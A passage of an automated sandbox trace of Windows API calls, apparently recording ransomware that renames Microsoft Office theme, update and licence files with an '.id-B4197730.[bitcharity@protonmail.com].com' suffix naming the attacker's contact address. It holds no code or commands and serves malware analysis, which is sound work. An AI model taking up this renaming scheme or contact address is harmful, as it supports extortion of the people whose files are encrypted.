SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.380] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.381] CloseHandle (hObject=0x1258) returned 1 [0249.382] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.382] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.382] CloseHandle (hObject=0x1258) returned 1 [0249.391] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.391] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.391] CloseHandle (hObject=0x1258) returned 1 [0249.393] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.393] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.393] CloseHandle (hObject=0x1258) returned 1 [0249.394] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.394] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.395] CloseHandle (hObject=0x1258) returned 1 [0249.396] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.396] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.396] CloseHandle (hObject=0x1258) returned 1 [0249.398] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.398] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.398] CloseHandle (hObject=0x1258) returned 1 [0249.399] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.400] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.400] CloseHandle (hObject=0x1258) returned 1 [0250.030] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.031] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.489] CloseHandle (hObject=0x1278) returned 1 [0250.562] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.562] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.563] CloseHandle (hObject=0x1258) returned 1 [0250.564] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.564] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.564] CloseHandle (hObject=0x1258) returned 1 [0250.568] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.568] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.568] CloseHandle (hObject=0x1258) returned 1 [0250.569] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.569] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.570] CloseHandle (hObject=0x1258) returned 1 [0250.570] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.570] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.571] CloseHandle (hObject=0x1258) returned 1 [0250.572] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.572] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.573] CloseHandle (hObject=0x1258) returned 1 [0250.573] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.574] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.574] CloseHandle (hObject=0x1258) returned 1 [0250.575] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.575] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.576] CloseHandle (hObject=0x1258) returned 1 [0250.577] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.577] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.577] CloseHandle (hObject=0x1258) returned 1 [0250.578] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.578] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.579] CloseHandle (hObject=0x1258) returned 1 [0250.580] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.580] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.580] CloseHandle (hObject=0x1258) returned 1 [0250.581] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.581] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.581] CloseHandle (hObject=0x1258) returned 1 [0250.583] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.583] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.583] CloseHandle (hObject=0x1258) returned 1 [0250.588] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.588] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.588] CloseHandle (hObject=0x1258) returned 1 [0250.589] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.590] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.590] CloseHandle (hObject=0x1258) returned 1 [0250.591] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.591] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.591] CloseHandle (hObject=0x1258) returned 1 [0250.593] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.593] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.593] CloseHandle (hObject=0x1258) returned 1 [0250.594] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.594] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.594] CloseHandle (hObject=0x1258) returned 1 [0250.595] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.595] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.595] CloseHandle (hObject=0x1258) returned 1 [0250.595] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.596] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.596] CloseHandle (hObject=0x1258) returned 1 [0250.596] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.596] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.597] CloseHandle (hObject=0x1258) returned 1 [0250.598] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.598] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.598] CloseHandle (hObject=0x1258) returned 1 [0250.599] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.599] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 